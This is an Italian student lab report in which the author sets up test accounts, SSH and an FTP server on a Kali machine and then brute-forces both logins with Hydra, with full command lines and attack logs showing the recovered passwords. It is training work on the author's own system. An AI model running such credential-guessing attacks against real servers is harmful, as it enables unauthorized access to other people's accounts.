

## Relazione 13/12

Il progetto di oggi l'ho svolto creando un utente con il comando `sudo adduser test_user` inserendo come user test\_user e come password testpass, successivamente con il comando `sudo service ssh start` ho avviato il servizio.

```
(kali@kali)~$ sudo adduser test_user
info: Adding user 'test_user' ...
info: Selecting UID from range 1000 to 59999 ...
info: Adding new group 'test_user' (1001) ...
info: Adding new user 'test_user' (1001) with group 'test_user (1001)' ...
info: Creating home directory /home/test_user' ...
info: Copying files from /etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
info: Adding new user 'test_user' to supplemental / extra groups 'users' ...
info: Adding user 'test_user' to group 'users' ...

(kali@kali)~$ sudo service ssh start

(kali@kali)~$ cd /etc/ssh/ssh_config
cd: not a directory: /etc/ssh/ssh_config

(kali@kali)~$ cd /etc/ssh/

(kali@kali)~$ cd /etc/ssh/

(kali@kali)~$ ls
moduli  ssh_config  ssh_config.d  sshd_config  sshd_config.d  ssh_host_ecdsa_key  ssh_host_ecdsa_key.pub  ssh_host_ed25519_key  ssh_host_ed25519_key.pub  ssh_host_rsa_key  ssh_host_rsa_key.pub

(kali@kali)~$ cd ssh_config
cd: not a directory: ssh_config

(kali@kali)~$ sudo nano /etc/ssh/sshd_config

(kali@kali)~$
```

```
GNU nano 2.2 /etc/ssh/sshd_config
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#KexAlgorithms default none

# Logging
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
```

ho testato che la connessione funzionasse con `ssh test_user@192.168.50.100`

```
(kali@kali)~$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:C2h9sEhZpJoa0lewr2mtclB3yF0WbcidyeChufAag.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Permission denied, please try again.
test_user@192.168.50.100's password:
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
test_user@kali:~$ exit
logout
Connection to 192.168.50.100 closed.
```

Successivamente ho attaccato l'autenticazione SSH con Hydra con il comando

`hydra -L users.txt -P password.txt 192.168.50.100 -T4 ssh`

```

kali@kali:~/etc/ssh$ cd
kali@kali:~$ sudo nano users.txt
kali@kali:~$ sudo nano password.txt
kali@kali:~$ hydra -L
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

hydra: option requires an argument -- L
kali@kali:~$
kali@kali:~$ hydra -L users.txt -P password.txt 192.168.50.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 04:42:21
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1640 login tries (1:40/p:41), ~10 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[22]ssh host: 192.168.50.100 login: test_user password: testpass
[ERROR] all children were disabled due too many connection errors
0 of 1 target successfully completed, 1 valid password found
[INFO] writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 04:43:01

```

Aggiungendo -V ho visualizzato un'output dettagliato e informazioni in tempo reale su ciascun tentativo effettuato durante l'attacco.

```

~$ hydra -L users.txt -P password.txt 192.168.50.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 04:46:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1640 login tries (1:40/p:41), ~10 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test_user" - 1 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin_user" - 2 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "guest_account" - 3 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "root_admin" - 4 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "secure_login" - 5 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "john_doe" - 6 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jane_doe" - 7 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "hacker_one" - 8 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sql_injector" - 9 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password_hunter" - 10 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "cyber_warrior" - 11 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "net_explorer" - 12 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "anonymous_007" - 13 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "exploit_master" - 14 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "shadow_user" - 15 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin_panel" - 16 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "super_secure" - 17 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "random_guest" - 18 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "vuln_checker" - 19 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "data_miner" - 20 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ethical_hacker" - 21 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "brute_force_123" - 22 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dark_net_user" - 23 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin_login" - 24 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "cyber_guardian" - 25 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test_account" - 26 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pentest_user" - 27 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "zero_day_123" - 28 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dev_null" - 29 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sql_master" - 30 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin_guest" - 31 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "user_placeholder" - 32 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "default_user" - 33 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "public_access" - 34 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "system_root" - 35 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "shell_master" - 36 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "code_breaker" - 37 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "bug_hunter" - 38 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "network_admin" - 39 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "forensic_user" - 40 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 41 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "test_user" - 42 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "admin_user" - 43 of 1640 [child 2] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "test_user" - 43 of 1640 [child 2] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "admin_user" - 43 of 1640 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "test_user" - 43 of 1640 [child 2] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "admin_user" - 43 of 1640 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "test_user" - 43 of 1640 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "test_user" - 43 of 1640 [child 2] (0/0)
[22]ssh host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "guest_account" - 44 of 1640 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "admin_user" - 44 of 1640 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "test_user" - 44 of 1641 [child 2] (0/1)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "guest_account" - 44 of 1642 [child 3] (0/2)
[ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "root_admin" - 45 of 1643 [child 1] (0/3)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "root_admin" - 45 of 1643 [child 1] (0/3)
[ERROR] all children were disabled due too many connection errors
0 of 1 target successfully completed, 1 valid password found
[INFO] writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 04:46:43

```

## Nella seconda fase

Ho creato nuovamente un utente che ho chiamato test\_user2 e password passtest

Con questi comandi, ho configurato e avviato un server FTP `sudo apt-get install vsftpd` e `service vsftpd start`

Ho provato diversi comandi per fare delle prove e dei test

```
File Actions Edit View Help
└─$ sudo adduser test_user2
info: Adding user 'test_user2' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group 'test_user2' (1002) ...
info: Adding new user 'test_user2' (1002) with group 'test_user2' (1002) ...
info: Creating home directory '/home/test_user2' ...
info: Copying files from '/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user2
Enter the new value, or press ENTER for the default
  Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
info: Adding new user 'test_user2' to supplemental / extra groups 'users' ...
info: Adding user 'test_user2' to group 'users' ...

(kali@kali)-[/etc]
└─$ ftp localhost

Trying [::1]:21 ...
Connected to localhost.
220 (vsFTPD 3.0.3)
Name (localhost:kali): test_user2
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp> xit
?Invalid command.
ftp> exit
221 Goodbye.

└─$ hydra -l username.txt -P psw.txt 192.168.50.100 -V -t4 ftp
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Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 05:37:18
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1600 login tries (1:40/p:40), ~400 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login 'test_user2' - pass 'passtest' - 1 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'test_user2' - pass 'admin_login' - 2 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'test_user2' - pass 'guest_account' - 3 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'test_user2' - pass 'super_admin' - 4 of 1600 [child 3] (0/0)
[21]ftp host: 192.168.50.100 login: test_user2 password: passtest
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'passtest' - 41 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'admin_login' - 42 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'guest_account' - 43 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'super_admin' - 44 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'ftp_user' - 45 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'test_account' - 46 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'anonymous ftp' - pass 'anonymous ftp' - 47 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'secure_user' - 48 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'random_login' - 49 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'cyber_explorer' - 50 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'shadow_hacker' - 51 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'backup_admin' - 52 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'ftp_test' - 53 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'file_transfer' - 54 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'upload_user' - 55 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'net_guest' - 56 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'default_login' - 57 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'system_user' - 58 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'vuln_tester' - 59 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'hacker_user' - 60 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'data_checker' - 61 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'ethical_user' - 62 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'brute_force' - 63 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'test_subject' - 64 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'public ftp' - 65 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'zero_access' - 66 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'debug_user' - 67 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'penetration_tester' - 68 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'admin_login' - pass 'exploit_checker' - 69 of 1600 [child 0] (0/0)

(kali@kali)-[-]
└─$ hydra -l username.txt -P psw.txt ftp://192.168.50.100
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 05:40:55
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1600 login tries (1:40/p:40), ~100 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[21]ftp host: 192.168.50.100 login: test_user2 password: passtest
[STATUS] 312.00 tries/min, 312 tries in 00:01h, 1288 to do in 00:05h, 16 active
[STATUS] 306.57 tries/min, 920 tries in 00:03h, 680 to do in 00:03h, 16 active
[STATUS] 302.00 tries/min, 1208 tries in 00:04h, 392 to do in 00:02h, 16 active
[STATUS] 295.80 tries/min, 1479 tries in 00:05h, 121 to do in 00:01h, 16 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 05:46:33

(kali@kali)-[-]
└─$ hydra -l username.txt -P psw.txt -t4 ftp://192.168.50.100
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 06:59:40
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1600 login tries (1:40/p:40), ~400 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[21]ftp host: 192.168.50.100 login: test_user2 password: passtest
[STATUS] 109.00 tries/min, 109 tries in 00:01h, 1491 to do in 00:14h, 4 active
[STATUS] 85.33 tries/min, 256 tries in 00:03h, 1344 to do in 00:16h, 4 active
[STATUS] 75.43 tries/min, 528 tries in 00:07h, 1072 to do in 00:21h, 4 active
[STATUS] 74.00 tries/min, 888 tries in 00:12h, 712 to do in 00:16h, 4 active
[STATUS] 73.18 tries/min, 1248 tries in 00:17h, 356 to do in 00:06h, 4 active
[STATUS] 72.45 tries/min, 1594 tries in 00:22h, 6 to do in 00:03h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 06:59:40
```

Ho trovato molto stimolante svolgere questo esercizio pratico.

Successivamente mi sono dedicata all'extra .